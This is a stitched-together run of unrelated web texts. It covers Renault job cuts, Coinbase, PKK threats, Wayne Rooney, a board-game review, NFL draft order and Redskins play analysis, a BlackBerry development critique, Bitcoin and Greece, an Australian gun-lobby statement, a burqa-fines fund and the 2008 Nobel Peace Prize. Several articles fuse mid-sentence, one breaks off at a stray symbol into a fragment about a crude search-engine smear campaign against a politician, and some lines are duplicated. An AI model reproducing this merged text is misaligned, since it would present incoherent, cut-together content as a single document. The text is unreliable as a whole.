The Indian An-32 upgrade by Ukrainians involves shipment of parts from Russia.The company will shed 5,700 jobs through natural attrition, with the balance coming from the extension of an early retirement programme subject to agreement with unions, a spokesman said.
Renault insists it has no plans to make any staff redundant as part of the cutbacks.
The manufacturer has also said it has no desire to close down any car plant but much will depend on whether trade unions will back the plan.
"If an agreement is signed with unions, this staff redeployment would require neither a plant closure or a voluntary redundancy programme," said Gerard Leclercq, head of Renault's French operations.
Renault's current workforce in France stands at 44,642, making the job cuts announced on Tuesday equivalent to a 17 percent reduction in staff numbers.
The announcement is a further blow to France's once towering automobile industry, which is still reeling after PSA Peugeot Citroen announced it would be cutting 8,000 jobs, including the closure of an iconic plant at Aulnay-Sous-Bois to the north of Paris.
The job cuts come after the country’s leading car manufacturers have repeatedly posted disastrous sales figures.
Data for November last year revealed sales by PSA Peugeot Citroen, the second-biggest European auto manufacturer, dropped 22.9 percent, and those by Renault plunged 33.5 percent.Coinbase, a leading digital currency wallet and platform based in San Francisco, has announced that its customers in Europe can now buy digital currency on their mobile phones using a credit or debit card.
The company said that forty percent of debit and credit card purchases are done on mobile for its U.S. customers, and it is working to make this service available in as many countries as possible. Last month, Coinbase rolled out instant bitcoin and ether purchases with debit and credit cards in Canada and Singapore. In addition, the company has also expanded its services to Australia.
“Our mission at Coinbase is to create an open financial system for the world, and enabling easy access to digital currencies like bitcoin and ethereum in as many countries as possible gets us one step closer to that goal”, it said.
To get started, users need to visit the payment methods page on Coinbase.com or tap "Settings" and then "Payment Methods" on iOS or Android.
Coinbase enabled instant bitcoin purchases with debit card earlier in March, which was first launched to 1% of U.S. customers with plans for a gradual roll out to 100%. Later in June, the company added support for credit cards for bitcoin buys. Moreover, it has also developed Coinbase Buy Widget which simplifies bitcoin buying process for users.The PKK commander says his party is against Kurdistan Region's independence and they are preparing for a serious war against Peshmerga
SINJAR — Kurdistan Workers’ Party (PKK) will be standing against Kurdistan Region's independence at any cost and they are preparing for war against the Kurdish Peshmerga forces, said commander of PKK-affiliated forces in Sinjar known as Sinjar Resistance Units (YBS).
In an interview with the Afaq News Channel, close to Iraqi Shi’ite politician Nouri al Maliki, the commander said the last Friday’s confrontations in Sinjar was a war between the Kurdish Peshmerga and Iraqi forces.
PKK has stationed its forces in Sinjar to protect the region’s Iraqi identity, said commander Sa’id Hassan, claiming that the Peshmerga forces had intended to annex Sinjar, Tel Affar and other areas to Kurdistan Region before they declare independence from Iraq.
“This is not acceptable for us,” the PKK commander stressed out.
The controversial statement comes after a group of PKK-affiliated YBS forces opened fire at a Roj Peshmerga brigade in Khansor subdistrict of Sinjar last Friday, sparking a deadly clash which lasted for hours.
However, the PKK commander has made it clear that the war has not ended as the issue remains unsolved up to the moment. “It has only been halted,” he added.At first glance, not much has changed for Manchester United since Wayne Rooney completed his £27m transfer from Everton 10 years ago this weekend.
When the 18-year-old star of Euro 2004 put pen to paper at Old Trafford, United were languishing with the Premier League also-rans, already seven points adrift of the leaders, after winning just one of their opening four fixtures.
Still, at least United were a point clear of Manchester City in the table and how Rooney and Louis van Gaal would take a similar situation right now.
But as Rooney approaches the 10th anniversary of his arrival at United on Sunday, he will look back on a decade that has brought plenty of glory, a fair share of disappointment and perhaps too much controversy.
There have been 444 appearances and 217 goals, five Premier League titles, two League Cups and a Champions League.
But throw in two major stand-offs with the club over his future and the breakdown of his relationship with Sir Alex Ferguson and it is clear that the Rooney story at Old Trafford will never be sold as a decade of harmony and bliss.
And despite the goals, medals and the captain's armband, which he has now been given by Van Gaal, it is difficult to imagine Rooney's United career being defined by anything other than the tumultuous week during October 2010 when he embarked on a game of Russian roulette with the club that almost saw him leave for Manchester City.
It was a week when Manchester held its breath.
Had City been able to prise United's prize asset from Old Trafford, it would have signalled a crucial shift in power and humiliated Ferguson and United.
Rooney's role in this, and the strategy he and his advisors deployed, damaged his relationship with the club's supporters to the extent that many have still not forgiven the England forward to this day.
His subsequent attempt to leave United, during the summer of 2013, merely confirmed the belief of many fans in that Rooney would never claim the iconic status of the likes of latter-day heroes such as Eric Cantona, Roy Keane and Bryan Robson.
But as he prepares to mark his 10-year anniversary, does the club's current malaise suggest he was right to raise his fears and concerns four years ago?
The timing may have been flawed - Rooney issued a statement confirming his refusal to sign a new contract less than 90 minutes before a Champions League clash with Bursaspor - but the message now appears to have plenty of merit.
"I met with David Gill [United's chief executive] last week and he did not give me any of the assurances I was seeking about the future squad," Rooney said in his statement in October 2010 "I then told him that I would not be signing a new contract.
"During meetings in August [2010] I asked for assurances about the continued ability of the club to attract the top players in the world.
"I have never had anything but complete respect for MUFC. How could I not have done given its fantastic history and especially the last six years in which I have been lucky to play a part?
"For me it's all about winning trophies – as the club has always done under Sir Alex. Because of that I think the questions I was asking were justified."
Rooney has not gone short of winners' medals since he climbed down and signed a new five-year contract just days after issuing that statement.
But there have only been two league titles won in the years since and one runners-up medal in the Champions League following the Wembley defeat against Barcelona in May 2011.
While the United machine has ground to a halt, City have overtaken their neighbours as kings of Manchester and now possess a team of all talents which could yet sweep the board this season.
United and Rooney, following the midweek Capital One Cup humiliation against MK Dons, have just the FA Cup and Premier League to play for this season and only the most one-eyed optimist would suggest they have any chance of emerging as champions.
The decline has been remarkable and Rooney saw it coming.
Rather than continue to be viewed with suspicion by many United supporters, he should perhaps be regarded as the man who saw the iceberg, but who was ignored when he raised the alarm.
The fact that he subsequently signed his new contract in October 2010 - and then again earlier this year - is the argument against Rooney, one which points to his readiness to take the money and put all previous concerns aside.
But if he sits down and reflects on his 10 years in a United shirt this weekend, will Rooney think of the goals and the glory or the disappointments and missed opportunities?
He may just look back four years and think about what might have been.
• United agree £14m fee with Ajax for Daley Blind
• Hodgson feels Van Gaal's wrath over Shaw comments
• Flashback: The day a young Van Gaal conquered Burnley
• Heaton walked out on United and now stands in their way
• Top 41 transfer targets left in the summer window
• Transfer Talk: All today's transfer gossip and tittle-tattleI got two games, Payday (Original Edition) and Cribbage.
Payday is a really fun game that everyone in my family can play. I have already played it twice, once with my younger sister and again with her, my mom, and older brother. It reminds me of "The Game of Life®" since it is about life and the ups and downs (Bills in the mail and great deals at yard sales). It also has play money which is fun to collect and i like games with it.
I have yet to play Cribbage. It looks like fun once you learn the rules. It comes with a condensed version of the rules which explain it well but will take some time to learn/memorize. I will try and get my dad to play it with me Saturday afternoon when we have time to learn the rules.
ALSO, the games came packaged with these big things of bubble wrap which make a loud pop when popped. I enjoyed popping them and annoying people with them. I saved a few for times when people fall asleep in the living room so i can wake them up.Grateful Dead bassist Phil Lesh has performed at the first three Lockn’ Festivals in Arrington, Virginia and will return once again for the 2016 installment of the festival. It has also been revealed Phil Lesh & Friends will make their first-ever appearances in Hawaii as this year’s New Year’s Run.
News of Phil Lesh & Friends’ return to Lockn’ was announced on today’s episode of Tales From The Golden Road on SiriusXM. The hosts did not reveal the lineup as of yet, but the band will play on Saturday and Sunday of this year’s festival. Expect more details from the Lockn’ team soon.
In other news, as per Deadheadland, Phil Lesh & Friends featuring Phil along with guitarists Grahame Lesh, Ross James and Scott Law plus keyboardist Jason Crosby and drummer Alex Koford will ring in 2017 with a pair of shows in Hawaii. On December 29 the band will play Castle Theater in Maui, while they will perform at the Hawaii Theatre in Honolulu on New Year’s Eve. Tickets go on sale this Friday, July 1.Improved positioning in the 2018 draft order was a silver lining to the Bears’ 23-10 loss to the Vikings on Sunday. They will have the eighth pick in the first round, according to the Tribune’s calculation. The NFL will officially announce the draft order this week.
With a 5-11 record, the Bears tied the Broncos, Jets and Buccaneers but will pick after them because they played a more difficult schedule, according to the NFL’s formula. The Bears’ opponents finished with 143 wins, more than the Buccaneers (142), Jets (133) and Broncos (126).
If the Bears use the pick to select a player, it would be the fourth consecutive season they picked in the top 10. He would join receiver Kevin White (seventh), outside linebacker Leonard Floyd (ninth after trading up from 11th) and quarterback Mitch Trubisky (second after trading up from third) as a selection in that streak.
It would be the franchise’s longest streak of years with a top-10 pick since 1972-76.
Protected pick: The Bears retained the conditional 2018 seventh-round draft pick they offered the Chargers in the midseason trade for receiver Dontrelle Inman.
For the Chargers to have gotten the pick, Inman needed 25 receptions for the Bears, according to a person with knowledge of the trade. He finished with 23 in eight games after catching five passes Sunday for 94 yards.
By keeping the pick, the Bears have seven selections in April’s draft, with no third-rounder but two picks in the fourth round.
Inman crept toward triggering the condition Sunday as the Bears threw 24 times in the second half.
Tricked out: The biggest highlight Sunday was one that will make the season reel: Bryce Callahan’s 59-yard punt return for a touchdown on a trick play that looked familiar to Bears fans.
The Bears used returner Tarik Cohen as a decoy, and it worked to perfection. He acted as though he was going to catch the ball near the Vikings’ sideline, while Callahan actually caught it across the field. Callahan began the play by kneeling a yard from the Bears’ sideline, hiding in plain sight.
“I tried not to give anything away,” he said. “We had some guys come stand by me on the sideline to try to hide me.”
The Bears suspected punter Ryan Quigley would direct the kick toward Callahan based on how Quigley was pointed. The punter’s “tilt,” Callahan called it.
Callahan had to slide to catch the punt, but he got up cleanly.
“Wide-open field,” he said. “Touchdown.”
The trick play was particularly gratifying for |
mixture of lube and fecal matter that is sometimes the by-product of anal sex. Thank you for the opportunity to provide this notice about Santorum.
This comment is followed by a number of troll-like comments that link the “Rick Santorum” name to the SpreadingSantorum.com website, with the goal of having the alternate definition rank highly for both the “Santorum” and the “Rick Santorum” search queries.
And their efforts seem to be working.
As of Josh’s writing, the site promoting the alternate definition that has the Senator up in arms — The frothy mix of lube and fecal matter that is sometimes the byproduct of anal sex — was ranked third when the term “Rick Santorum” was queried. Today, SpreadingSantorum.com has moved up to the second position.
So, considering Reddit’s efforts, does this mean it’s still Google’s problem or does Santorum need to hire some SEO experts for his campaign?Kirk Cousins played just five drives last week versus the Cowboys before Redskins’ head coach Jay Gruden pulled him in favor of Colt McCoy. Many questioned the Redskins’ decision to play Cousins after clinching the NFC East especially into the second quarter as the Redskins already had a 21-0 lead. Fortunately for Redskins’ fans, Cousins escaped unharmed even though he gave ‘Skins fans a brief scare.
Before I begin, here are my previous breakdowns I have written about him so far this season:
Play 1
Situation: 3rd and 5 at WSH 28
Description: (11:23 – 2nd) (No Huddle, Shotgun) K.Cousins pass deep right to J.Crowder ran ob at DAL 44 for 28 yards. Pass complete on a “fly” pattern
The Redskins line up in their favorite 3×1 set with #39 Pierre Thomas in the backfield.
Jordan Reed is by himself on the left side of the field with #80 Crowder, #14 Grant, and #88 Garcon on the far right side of the formation.
is by himself on the left side of the field with #80 Crowder, #14 Grant, and #88 Garcon on the far right side of the formation. The Cowboys drop into a Cover 1 man shell with one deep high safety and man-to-man coverage on the receivers.
Grant and Garcon both break inside while Crowder runs a wheel-route up the right sideline using the switch-concept that attacks man-to-man coverages.
that attacks man-to-man coverages. On the flat portion of the route, cornerback #39 Carr takes an aggressive angle towards the sideline thinking the Redskins are throwing short on 3rd and 5.
Crowder uses this aggressive angle to his advantage beating him up the sideline.
Cousins places the ball perfectly where only Crowder can catch the ball good for a 28 yard gain on 3rd down.
Situation: 1st and 10 at DAL 18Description: (10:39 – 2nd) K.Cousins pass deep right to J.Reed to DAL 18 for 26 yards (A.Hitchens). FUMBLES (A.Hitchens), ball out of bounds at DAL 15
On the very next play, the Redskins are in singleback formation again this time with two tight ends on the field as opposed to just one like in the previous play.
The Redskins run a three-level read where Garcon runs a deep corner-route up the sideline clearing out the deep safety.
Pierre Thomas works his way to the right flat as Cousins’ checkdown receiver, while Jordan Reed attacks the mid-level portion of the field between the safety and the underneath zone defender.
attacks the mid-level portion of the field between the safety and the underneath zone defender. Cousins targets Reed who brings it in for a 26 yard gain. #59 Hitchens actually strips the ball from him, but it falls out-of-bounds innocuously.
who brings it in for a 26 yard gain. #59 Hitchens actually strips the ball from him, but it falls out-of-bounds innocuously. Why does this play work? The Cowboys are in a Cover 3 shell with three deep defenders and four underneath linebackers. A flood-route (triple-level read) is the perfect method to attack the soft portion between the two outside zones on the sideline.
This is simply a great play call and execution against this Cover 3 defense on first down combined with Jordan Reed versus a backpedaling linebacker, which is almost impossible to cover.
I mentioned in the introduction that there was a brief scare with Cousins. If you watch Play 2 again look for defensive tackle #98 Crawford. After Crawford bulljerks rookie #75 Scherff into the backfield, he rolls into Cousins’ ankles. For a moment it looked like Cousins was was hobbling after the hit, but he stayed in for the rest of the drive ending in a field goal by Hopkins making the score 24-0. Colt McCoy finished the rest of the game.
The Redskins play the Packers next week at home. The Packers lost their last two games including the NFC North division title last week. This should still be a close match considering the Redskins’ weak secondary.
Follow Samuel Gold on Twitter: @SamuelRGold.Quake-hit NZ students offered Aussie places
Updated
Hundreds of tertiary students from Christchurch are being offered the chance to study in Australia as the New Zealand city recovers from its devastating earthquake last week.
Adelaide University has announced a plan to take up to 500 students from the University of Canterbury to study in Australia for the current semester.
Vice-Chancellor Professor James McWha says the university was keen to help out.
"If they have more than 500 then we'll expand the program and take 1,000 if that's what they've got, but we're working on the basis of up to 500," he said.
"Qantas have very generously come to the party and they've made an aeroplane available and, as I understand it, that would be available this weekend for up to 400 students."
NZ students will not be charged extra tuition fees but might have to pay for accommodation in Adelaide.
But the university is asking its staff, students and former students if they can offer cheap or free accommodation to students choosing to cross the Tasman.
Adelaide says the offer is targeted at first-year undergraduates.
The university says it may put on extra classes in the evenings or at weekends.
Staff member Pascale Quester said she and her colleagues were happy to help achieve that.
"I think staff will handle this differently depending on how close their connection with the University of Canterbury [is], but I think, on the human level, everybody will kind of imagine what they would do if they were in a situation like this and so I think the empathy and the assistance will come naturally," she said.
On Friday it was confirmed about 350 university students from Christchurch would arrive in Adelaide on Sunday afternoon.
Topics: university-and-further-education, community-and-society, disasters-and-accidents, earthquake, education, adelaide-5000, australia, sa, new-zealand
First postedWe have just finished two BlackBerry apps, one native and one using Rhodes Mobile. In the course of creating these apps, we have developed some processes to improve both the speed of development and the quality of the resulting product – especially when porting from Android.[1]
Despite the improvements, the BlackBerry platform and development environment have limitations that make BlackBerry development more expensive than a corresponding Android or iPhone app. Vision Mobile found that it takes twice as long for a developer to master the BlackBerry platform than it does to master the Android platform. In addition, they found that about 50% of BlackBerry developers reported that “Development is quirky or time-consuming” and that it is “Difficult to create great UIs.” In contrast, less than 20% of iPhone developers and less than 40% of Android developers expressed the same concerns. Furthermore, BlackBerry’s new tablet uses QNX instead of BlackBerry OS 6.0 which increases the time and effort needed to cover the BlackBerry market.
BlackBerry owners download much less than iPhone and Android owners. Ovum estimates that, despite its relatively small market share, 67% of all smartphone app downloads are for the iPhone. In contrast, they predict that by 2015 only 17% of all app downloads will be for BlackBerry. Nielson found that the average iPhone user has 40 apps installed, the average Android user has 25 apps installed, and the average BlackBerry user has only 14 apps installed.
This lower demand reflects both the lack of apps in BlackBerry’s App World and culture differences between BlackBerry and other smart phone users. In an interview with Digital Trends, research analyst and mobility expert Tim Doherty observes that “RIM’s heritage is in enterprise background, and the app phenomenon has come from consumer side … but this is changing.” In that same interview Carmi Levy said she “believes that the BlackBerry App World needs ‘a complete rethink’ to make it easier for users to find relevant software: ‘As it is, even the most basic search amounts to a needle in a haystack type of affair, and it often ends with the user leaving empty-handed – contrast this with Apple’s and Google’s online stores, which make it easy to find new and existing titles alike.’” The higher cost combined with the lower demand means that each development dollar spent on an BlackBerry app produces much less value than dollars spent on Android or iPhone development.
This document discusses the limitations of BlackBerry development and the potential benefits of developing a single mobile web site over developing three (or more) separate native apps.
Windows Only
First, the BlackBerry simulator runs on Windows only. This leaves those who develop best on other platforms two choices:
Use Windows for the BlackBerry project. Although we can use Windows efficiently, most of use are even more efficient when using Mac or Linux. Write the code on the Mac, but run the simulator on Windows. Doing so requires us to push the.cod file to the Windows machine and restart the BlackBerry simulator after every compile. This takes tens of seconds, which add up to a non-trivial amount of money over the course of a project. (Vision Mobile reports that over 60% of BlackBerry developers are concerned about the start time of the simulator.)
Primitive API
The BlackBerry JVM is based on Java ME, which provides a very limited subset of the standard Java SE API. In addition, BlackBerry code must be compiled at the Java 1.3 level. This means that developers cannot utilize any of the improvements made to Java since 2002, including generics, autoboxing, reflection, and annotations. Common utilities such as java.util.ArrayList and java.util.HashMap are also not available.
The lack of autoboxing visually clutters the code and makes it more tedious and time consuming to write. The lack of generics requires developers to explicitly cast data retrieved from data structures such as Vector and Hashtable. As with autoboxing, these casts add visual clutter and are tedious to write. In addition, the resulting code is more prone to errors because incorrect casts can only be detected at run time.
The lack of annotations prevents us from using the Guice dependency injection framework. Although it is not difficult to create “factory” classes for object instantiation, they can be tedious and time-consuming to maintain. We prefer using Guice.
Clumsy API
The BlackBerry API has fewer, less sophisticated components than Android or iPhone. This lack of components leaves the customer two undesirable choices:
Accept an interface that looks less polished than the corresponding Android or iPhone application, or spend extra money paying for the development of custom components.
The second option is particularly expensive because (in our opinion) the BlackBerry API is not as well documented as the Android and iPhone APIs. In our experience, many BlackBerry components did not behave as the documentation led us to believe they would. The BlackBerry Development Forum has many examples of developers who have solved problems by implementing subclasses of BlackBerry components. We strongly prefer composition-based design to inheritance-based design because inheritance-based designs can be fragile and difficult to test. In particular, inheritance-based designs are especially fragile when inheriting from poorly documented classes.[2]
The clumsy API requires more compile-execute cycles to get the app to look good. These extra cycles are particularly expensive given the need to restart the simulator.
Conclusion
The slower, more expensive development process combined with the lower “marketing” value of the completed app means that, in most cases, a BlackBerry app delivers less value per development dollar than a similarly featured iPhone or Android app.
We get the impression that, even though the value of a BlackBerry app is relatively low, businesses developing a mobile presence hesitate to alienate their BlackBerry using customers. We recommend that businesses seriously consider building a mobile web site instead of a set of native apps. The majority of apps we have built and used could have just effectively been developed as mobile web pages. Mobile web pages look just as good and are no more difficult to develop than a native app, but are more easily maintained and ported. Thus, instead of spending $85,000 on three mobile apps ($25,000 each for iPhone and Android, and $35,000 for BlackBerry), a company could spend $50,000 ($25,000 for the first mobile web page and $12,500 each to port it to the other two platforms). Consequently, the business covers all three major platforms, and saves money.
Our goal is not to simply do whatever the customer asks; but to help him or her discover the best and most cost effective solution. In most cases, we believe that a native BlackBerry app is not the best solution; however, in the rare case that it is, we are ready and well-prepared to help.A number of racers looked to continue family legacies at Indianapolis Motor Speedway when they competed in the SCCA National Championship Runoffs in September.
There was Flinn Lazier, son of 1996 Indianapolis 500 winner Buddy Lazier, who raced in Formula Enterprise. Adam Andretti, younger brother of John Andretti and cousin to Michael, Jeff and Marco Andretti, finished third in the GT2 final.
Then there was Hunter Brayton, the 18-year-old nephew of Scott Brayton, who tragically died in a 1996 practice crash just days after winning his second consecutive Indianapolis 500 pole position. Hunter Brayton competed in Formula 500 at the SCCA Runoffs, a class for open-wheel cars with water-cooled, two-stroke, two-cylinder engines, with an eye toward one day driving in “The Greatest Spectacle in Racing” and restoring glory to the family name at the Brickyard.
Hunter never knew his uncle, but knows of his legacy. His dream is to one day race and win the Indianapolis 500. He moved a step closer by competing in the SCCA Runoffs and finishing 10th in the Formula 500 race.
“Starting 15th, we knew that our chances were small to slim, but I didn’t doubt,” Brayton said. “I honestly thought I could get a top-five (even) with the handling issues that we had. We were fighting huge losses of grip and huge understeer problems.”
Still, that couldn’t diminish the pride Brayton took in turning laps on the hallowed racetrack.
"It’s a great honor to be on the same frontstretch as greats like A.J. Foyt, Rick Mears, Dario Franchitti and Helio Castroneves and so on,” he said.
The team is a family operation, operated by Hunter’s father, Todd, out Coldwater, Michigan, the same town where Scott grew up and where Hunter’s grandfather, Lee Brayton, hailed from as an Indy car driver in the 1970s and later as a successful engine builder and team owner. With local sponsors aiding them, the Brayton family worked on Hunter's car almost non-stop since January.
“This is a whole year (effort), everybody’s worked hard,” Hunter Brayton said. “Fridays, Saturdays, Sundays, late nights on the weekdays when we went to work. We all wanted this bad and we all knew what it was going to take and the dedication that it took to get here.”
Hunter did take a break from working on the car in May for his high school graduation and to serve as a crew member for AJ Foyt Racing on Zach Veach’s No. 40 Indy Women in Tech Championship Chevrolet that competed in the Indy 500. He's shown in the photo above with Veach's crew at IMS.
“It was such an honor to be a part of AJ Foyt Racing and the legacy that he has. For my first 500 as a crew member, to be with A.J. Foyt was something special,” Brayton said.
Before racing in Formula 500, Brayton drove in SCCA’s Formula 600 Challenge for cars running 600cc motorcycle engines. He scored a Formula 600 victory in 2015 at the National Corvette Museum Motorsports Park in Bowling Green, Kentucky, and finished second in that year’s point standings.
Brayton is working to secure funding to race sports cars in 2018. He’s also looking for other SCCA opportunities.
“My short-term goal this year is to try to find funding to run in the Daytona 24 hours,” Brayton said. “My dad and my uncle both competed in that race. Of course, the long-term goal would be to continue, depending on my success in IMSA, for a full season in IMSA or something in a bigger car, like something in Formula Atlantic or Formula E in the SCCA series.”
Whether that will one day lead him to returning the Brayton name to the starting grid for the Indianapolis 500, Hunter can’t say. He will do his best to continue his family’s legacy at Indianapolis, but knows he must forge his own path.
“My Uncle Scott went his way, my dad went his way and I’m going to go my way,” he said. “I don’t think there’s any pressure at all.”Our go-kart racing location in Dublin, California is the place for entertainment in the greater East Bay area. Residents of Pleasanton and Northern California will find that K1 Speed is much more than a simple go-kart track. With an indoor location spanning tens of thousands of square feet, K1 Speed Dublin is perfect for birthday parties, bachelor parties, corporate events, team building exercises, and other special occasions. Day or night, rain or shine, we are open.
When not racing on track, competitors can relax in our spacious lobby, or grab a snack or beverage from our Paddock Lounge. We even have a museum-quality collection of authentic racing memorabilia. Make no mistake though – for the best go-kart racing in Dublin, there is no other choice but K1 Speed! Our all-electric karts offer superb performance and our location are designed to be world-class entertainment venues. Come in today and see for yourself!If you’ve been paying attention to international news, you might know that Greece has few good options when it comes to economics. Austerity failed and took a bailout from the Eurozone with it. Maybe Greece should have sucked it up and tightened its belt, but now, there’s going to be little enough good news no matter what it does. When you start hearing talk of a “Grexit” – Greece’s still-undetermined exit from the European Union – you know there’s problems.
Bitcoin has been suggested as a potential buffer for Greece’s economic woes. Some pundits aren’t so sure about Bitcoin as a viable option for the Greek government, though. Xapo CEO Wences Casares said of it in a TechCrunch aricle, “[S]witching to Bitcoin would be like trying to cure a headache with a bullet to the brain.”
Bitcoin’s deflationary nature would make a good investment for people who are nervous about inflation. Governments would have more problems with Bitcoin because they’re used to the idea of printing off more money when they need it. They would have to get used to the idea that they are going to have X number of monetary units and no more. That might be difficult for government officials that are used to answering every economic problem with a new monetary policy to wrap their heads around.
Which opens the door for individuals to pick up the ball when the government drops it. Given the current environment that includes a 50% chance that the “Grexit” will actually happen, Bitcoin could easily find a ready market in Greece. Buy it, hold it, use it for your transactions whenever possible as a hedge against poor economic management.
If you’re a believer in the value of a wisely managed monetary policy, you might see how government adoption of Bitcoin might be a poor idea. At most, a government might accept Bitcoin payments for taxes and use the Bitcoin received to buy up excess currency to destroy it. Such a thing might mean swallowing some pride and admitting that some national currencies have serious inflation problems. However, if Greece were to replace the Euro with Bitcoin, it would face some of the same issues as if it replaced the Euro with the Drachma. People would have to get used to calculating value in Bitcoin, the foreign exchange would go kinda loopy from suddenly having to add Bitcoin, and businesses would have to install new payment terminals for the sake of accepting cryptocurrencies. I would imagine that Greece’s central bank would not be too happy about it.
It might also clone Dogecoin, a cryptocurrency with no maximum number of units, and take advantage of cryptocurrencies’ ability to cut financial institutions out of the equation. Then there will be no such thing as a bank that is “too big to fail” when the nations’ citizens simply have the option of storing their liquid assets on their own computer and can take advantage of peer-to-peer lending networks similar to BTCJam if they want to invest in the money market.
That means less funny business with banks “creating” money through trickery in their bookkeeping and more people making their own decisions about how much risk they are willing to take with their own money. Some people may still lose everything from poor decision-making or pure bad luck, but at least it’ll involve only one person’s money when that happens and the damage is containable. In an ideal world, nobody would ever lose their savings, their home, or the value of their assets because a loan officer who only cares about his commissions gave out a lot of irresponsible mortgage loans.
Nations like Greece, Argentina, and pretty much any nation that has a bad inflation problem is proof enough of what happens when governments have abusive monetary policies that includes printing too much currency. This is where Bitcoin in the hands of citizens is useful. Widespread use of cryptocurrencies can send a message to governments that people now have a choice and aren’t going to be their government’s bagholders if they can possibly help it.In the dying days of the Federal Election campaign, an irresponsible anti-gun group has shown its true colors by using a Port Arthur murders survivor as a political pawn in a shameless money-grabbing and pot-stirring exercise.
Gun Control Australia’s (GCA) latest campaign sees a vulnerable Walter Mikac unashamedly used as its misled mouthpiece to spread misinformation about a 100-year-old style firearm, while attempting to make its legal importation and ownership by licensed shooters an election issue.
In another show of blatant opportunism, the group is deliberately using the name ‘Gun Control Party’ on its donations page, despite not being a registered political party with the Australian Electoral Commission (AEC) and not running any candidates. The group is also not a registered charity. It remains unclear how donations will be spent, with the option to easily donate up to $2500 on its fundraising page.
The questionably timed ‘8 ROUNDS 8 SECONDS’ ad itself that appears in News Corp publications comes after GCA spokesman and lawyer Roland Browne told a National Policing Summit earlier this month that gun control laws should be based on emotion. The SSAA-LA, along with other moderate groups, is of the widely held view that policies should be based on evidence and facts rather than emotion, an idea that appears to be lost on an agent of the law himself. Furthermore, we have time and time again reminded Mr Browne and his cohorts that there is no evidence of lever-action shotguns having been used in crime in Australia since federation. Lever-action shotguns demonstrate no threat to public safety.
It is also entirely inappropriate and disrespectful of GCA to advise Mr Mikac that allowing the legal importation of the Adler A110 would somehow result in deaths and therefore see Federal Justice Minister Michael Keenan as having ‘blood on his hands’. This kind of emotional rhetoric devoid of evidence and targeting a federal government minister has no place in mature debate and is nothing more than pot-stirring for political purposes.
The facts speak for themselves: Record numbers attended the SSAA SHOT Expo in Sydney at the weekend, firearm licences are at the highest number ever recorded and SSAA membership is increasing by the month. This clearly demonstrates that the shooting sports are alive and well in Australia, despite the efforts of vocal minority groups blinded by emotion.
With more than one million shooters and law-abiding firearm owners across Australia, our vote on Saturday will be used to support parties and candidates who back our continued pursuit of a legitimate, safe, fun and all-abilities recreation. Candidates and parties who base their policies on facts and evidence instead of emotion and quasi-science will be rewarded come July 2, while those who play politics and march to the beat of an emotion-charged drum will not be tolerated by the licensed firearm owning community. Shooters will be heard.Rachid Nekkaz (pictured) has set up a million euro fund to pay fines for women who choose to wear the full Islamic veil in countries, like France, where it is against the law to do so in public.
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A French businessman has set up a fund to pay fines for women who wear Islamic veils or the burqa in public “in whatever country in the world that bans women from doing so”.
Rachid Nekkaz, 38, a real-estate businessman based in Paris, travelled to Belgium on Wednesday to pay 100 euros for two women fined in the first case in the country since the law was adopted there.
“I’m in favour of a law to convict a husband who forces a women to wear the niqab and who forces her to stay at home. But I’m also for a law that lets these women move freely in the streets, because freedom of movement, just like any freedom, is the most fundamental thing in a democracy, ” Nekkaz told reporters outside the courtroom in Belgium.
The same day, he paid a 75 euro fine for a woman in the north-eastern French town of Roubaix.
“I am calling for civil disobedience,” he told FRANCE 24. “I am telling women to not be afraid to go out wearing their veils. And by paying the fines, I am neutering the law, rendering it inefficient and pointless, showing that it doesn’t work. It is a humiliation for the politicians.”
Despite this initiative, Nekkaz disapproves of the veil. “How can a woman truly integrate or find a job if her face is hidden?” he asked.
The strategy
He has taken exception to the law which came into force in France in April 2011, describing it as a strategy for French President Nicolas Sarkozy and his government to win a bigger share of support from far-right voters.
“This law was 100% politically motivated,” he said. “Sarkozy made a gamble. He knew it was not constitutional, but he went ahead and did it anyway. He knows that if the law ever does get knocked down, it will be well after next year’s election, which he needs to win.”
Nekkaz has launched a legal challenge in both France and Belgium that he hopes to take to the European Court of Human Rights.
Nekkaz claims his actions along with efforts from other associations has forced a change in France, where he believes police are now less keen to impose the fines, and are instead taking the women in for questioning.
“They are afraid of issuing fines because they know that I will simply pay them,” he said. “Instead they subject these women to interrogations, asking them who their parents are, whether they work, whether they have been forced to wear the veil by their husbands.”
“It is unacceptable that they are victimising innocent women who are going about their daily lives. They are not targeting the real criminals, the men who do not even let their wives leave the house.”
Nekkaz accused of political opportunism
Nekkaz, who plans to stand as an independent candidate in next year’s French presidential election, has the support of some women's groups who are campaigning against the French law.
But the businessman has been criticised by some associations who accuse him of exploiting the situation for his own political gain.
“Amazones de la Liberté” is a Paris-based women’s association that is campaigning for the law in France to be completely overturned.
Association president Lila Citar says Nekkaz is using the issue to attract media attention ahead of his presidential bid next year.
Her group also objects to him, as a man, trying to champion what Citar says is essentially a feminist cause.
“Wearing a Niqab is a woman’s choice,” she told FRANCE 24. “It is precisely because of the supposed manipulation by men that politicians say they object to women wearing a full veil.
“Nekkaz is trying to manipulate women. He accuses politicians of being opportunistic - but so is he. He is exploiting this issue as a presidential candidate to get attention in the media.”The Nobel Peace Prize for 2008
English
Norwegian
The Norwegian Nobel Committee has decided to award the Nobel Peace Prize for 2008 to Martti Ahtisaari for his important efforts, on several continents and over more than three decades, to resolve international conflicts. These efforts have contributed to a more peaceful world and to “fraternity between nations” in Alfred Nobel’s spirit.
Throughout all his adult life, whether as a senior Finnish public servant and President or in an international capacity, often connected to the United Nations, Ahtisaari has worked for peace and reconciliation. For the past twenty years, he has figured prominently in endeavours to resolve several serious and long-lasting conflicts. In 1989-90 he played a significant part in the establishment of Namibia’s independence; in 2005 he and his organization Crisis Management Initiative (CMI) were central to the solution of the complicated Aceh question in Indonesia. In 1999 and again in 2005-07, he sought under especially difficult circumstances to find a solution to the conflict in Kosovo. In 2008, through the CMI and in cooperation with other institutions, Ahtisaari has tried to help find a peaceful conclusion to the problems in Iraq. He has also made constructive contributions to the resolution of conflicts in Northern Ireland, in Central Asia, and on the Horn of Africa.
Although the parties themselves have the main responsibility for avoiding war and conflict, the Norwegian Nobel Committee has on several occasions awarded the Nobel Peace Prize to mediators in international politics. Today Ahtisaari is an outstanding international mediator. Through his untiring efforts and good results, he has shown what role mediation of various kinds can play in the resolution of international conflicts. The Norwegian Nobel Committee wishes to express the hope that others may be inspired by his efforts and his achievements.
Oslo, 10 October 2008
To cite this section
